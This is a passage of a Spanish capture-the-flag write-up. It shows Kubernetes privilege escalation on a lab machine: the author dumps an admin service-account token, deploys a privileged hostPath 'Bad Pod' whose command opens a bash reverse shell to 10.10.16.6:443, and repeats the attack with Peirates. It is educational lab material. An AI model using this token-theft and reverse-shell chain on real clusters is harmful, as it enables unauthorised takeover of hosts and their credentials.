k3s-serving                                          kubernetes.io/tls                     2      176d

Puedo dumpear un token del usuario Administrador. Esto me puede servir para adquirir el privilegio de crear un POD

root@devnode-deployment-776dbcf7d6-sr6vj:/tmp# ./kbctl describe secrets/c-admin-token-b47f7 -n kube-system
Name:         c-admin-token-b47f7
Namespace:    kube-system
Labels:       <none>
Annotations:  kubernetes.io/service-account.name: c-admin
              kubernetes.io/service-account.uid: 31778d17-908d-4ec3-9058-1e523180b14c

Type:  kubernetes.io/service-account-token

Data
====
ca.crt:     570 bytes
namespace:  11 bytes
token:      eyJhbGciOiJSUzI1NiIsImtpZCI6InRqSFZ0OThnZENVcDh4SXltTGhfU0hEX3A2UXBhMG03X2pxUVYtMHlrY2cifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjLWFkbWluLXRva2VuLWI0N2Y3Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImMtYWRtaW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIzMTc3OGQxNy05MDhkLTRlYzMtOTA1OC0xZTUyMzE4MGIxNGMiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Yy1hZG1pbiJ9.fka_UUceIJAo3xmFl8RXncWEsZC3WUROw5x6dmgQh_81eam1xyxq_ilIz6Cj6H7v5BjcgIiwsWU9u13veY6dFErOsf1I10nADqZD66VQ24I6TLqFasTpnRHG_ezWK8UuXrZcHBu4Hrih4LAa2rpORm8xRAuNVEmibYNGhj_PNeZ6EWQJw7n87lir2lYcqGEY11kXBRSilRU1gNhWbnKoKReG_OThiS5cCo2ds8KDX6BZwxEpfW4A7fKC-SdLYQq6_i2EzkVoBg8Vk2MlcGhN-0_uerr6rPbSi9faQNoKOZBYYfVHGGM3QDCAk3Du-YtByloBCfTw8XylG9EuTgtgZA
root@devnode-deployment-776dbcf7d6-sr6vj:/tmp# ./kbctl auth can-i create pod
no
root@devnode-deployment-776dbcf7d6-sr6vj:/tmp# ./kbctl auth can-i create pod --token eyJhbGciOiJSUzI1NiIsImtpZCI6InRqSFZ0OThnZENVcDh4SXltTGhfU0hEX3A2UXBhMG03X2pxUVYtMHlrY2cifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjLWFkbWluLXRva2VuLWI0N2Y3Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImMtYWRtaW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIzMTc3OGQxNy05MDhkLTRlYzMtOTA1OC0xZTUyMzE4MGIxNGMiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Yy1hZG1pbiJ9.fka_UUceIJAo3xmFl8RXncWEsZC3WUROw5x6dmgQh_81eam1xyxq_ilIz6Cj6H7v5BjcgIiwsWU9u13veY6dFErOsf1I10nADqZD66VQ24I6TLqFasTpnRHG_ezWK8UuXrZcHBu4Hrih4LAa2rpORm8xRAuNVEmibYNGhj_PNeZ6EWQJw7n87lir2lYcqGEY11kXBRSilRU1gNhWbnKoKReG_OThiS5cCo2ds8KDX6BZwxEpfW4A7fKC-SdLYQq6_i2EzkVoBg8Vk2MlcGhN-0_uerr6rPbSi9faQNoKOZBYYfVHGGM3QDCAk3Du-YtByloBCfTw8XylG9EuTgtgZA
yes

En este artículo explican como crear un Bad POD para escapar del contenedor. Descargo un archivo YAML de ejemplo que se encarga del despliegue del contenedor

wget https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml

Para extraer la imagen necesaria para crear el contenedor, se puede una existente en cualquier POD

root@webapp-deployment-9546bc7cb-6r7sq:/tmp# ./kbctl describe pods/devnode-deployment-776dbcf7d6-sr6vj -n dev | grep Image 
    Image:          localhost:5000/node_server
    Image ID:       docker-pullable://localhost:5000/node_server@sha256:e965afd6a7e1ef3093afdfa61a50d8337f73cd65800bdeb4501ddfbc598016f5

Modifico el pod.yaml que se encargue de enviarme la reverse shell

apiVersion: v1
kind: Pod
metadata:
  name: pwned
spec:
  hostNetwork: true
  containers:
  - name: pwned
    image: localhost:5000/node_server
    securityContext:
      privileged: true
    volumeMounts:
    - mountPath: /root/
      name: noderoot
    command: [ "/bin/bash", "-c" ]
    args: [ "bash -i >& /dev/tcp/10.10.16.6/443 0>&1;" ]
  volumes:
  - name: noderoot
    hostPath:
      path: /root/

Creo el POD y gano acceso en una sesión de netcat

root@devnode-deployment-776dbcf7d6-sr6vj:/tmp# ./kbctl create -f pod.yaml --token eyJhbGciOiJSUzI1NiIsImtpZCI6InRqSFZ0OThnZENVcDh4SXltTGhfU0hEX3A2UXBhMG03X2pxUVYtMHlrY2cifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2Vh
Y2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjLWFkbWluLXRva2VuLWI0N2Y3Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3Vud
C9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImMtYWRtaW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIzMTc3OGQxNy05MDhkLTRlYzMtOTA1OC0xZTUyMzE4MGIxNGMiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS
1zeXN0ZW06Yy1hZG1pbiJ9.fka_UUceIJAo3xmFl8RXncWEsZC3WUROw5x6dmgQh_81eam1xyxq_ilIz6Cj6H7v5BjcgIiwsWU9u13veY6dFErOsf1I10nADqZD66VQ24I6TLqFasTpnRHG_ezWK8UuXrZcHBu4Hrih4LAa2rpORm8xRAuNVEmibYNGhj_PNeZ6EWQJw7n87lir2l
YcqGEY11kXBRSilRU1gNhWbnKoKReG_OThiS5cCo2ds8KDX6BZwxEpfW4A7fKC-SdLYQq6_i2EzkVoBg8Vk2MlcGhN-0_uerr6rPbSi9faQNoKOZBYYfVHGGM3QDCAk3Du-YtByloBCfTw8XylG9EuTgtgZA
pod/pwned created
nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.10.235] 43124
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@unobtainium:/usr/src/app# script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
root@unobtainium:/usr/src/app# ^Z
zsh: suspended  nc -nlvp 443
❯ stty raw -echo; fg
[1]  + continued  nc -nlvp 443
                              reset xterm
root@unobtainium:/usr/src/app# export TERM=xterm
root@unobtainium:/usr/src/app# export SHELL=bash
root@unobtainium:/usr/src/app# stty rows 55 columns 209

Puedo ver la segunda flag

root@unobtainium:~# cat root.txt  
1e775b0bb9036ef44e911b727e2000a0

Una forma de automatizar la escalada sería utilizando la herramienta Peirates, disponible en Github

root@devnode-deployment-776dbcf7d6-sr6vj:/tmp# ./peirates -t eyJhbGciOiJSUzI1NiIsImtpZCI6InRqSFZ0OThnZENVcDh4SXltTGhfU0hEX3A2UXBhMG03X2pxUVYtMHlrY2cifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjLWFkbWluLXRva2VuLWI0N2Y3Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImMtYWRtaW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIzMTc3OGQxNy05MDhkLTRlYzMtOTA1OC0xZTUyMzE4MGIxNGMiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Yy1hZG1pbiJ9.fka_UUceIJAo3xmFl8RXncWEsZC3WUROw5x6dmgQh_81eam1xyxq_ilIz6Cj6H7v5BjcgIiwsWU9u13veY6dFErOsf1I10nADqZD66VQ24I6TLqFasTpnRHG_ezWK8UuXrZcHBu4Hrih4LAa2rpORm8xRAuNVEmibYNGhj_PNeZ6EWQJw7n87lir2lYcqGEY11kXBRSilRU1gNhWbnKoKReG_OThiS5cCo2ds8KDX6BZwxEpfW4A7fKC-SdLYQq6_i2EzkVoBg8Vk2MlcGhN-0_uerr6rPbSi9faQNoKOZBYYfVHGGM3QDCAk3Du-YtByloBCfTw8XylG9EuTgtgZA

Peirates:># 10
[+] Secret found:  default-token-w22lv
[+] Service account found:  default-token-w22lv

Peirates:># 20
Your IP addresses: 
10.42.0.46
What IP and Port will your netcat listener be listening on?
IP:
10.10.16.6
Port:
443
[+] Using your current pod's image: localhost:5000/node_server
[+] Executing code in attack-pod-yifuqv - please wait for Pod to stage
[+] Netcat callback added sucessfully.
[+] Removing attack pod.
nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.10.235] 45750
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@unobtainium:/usr/src/app#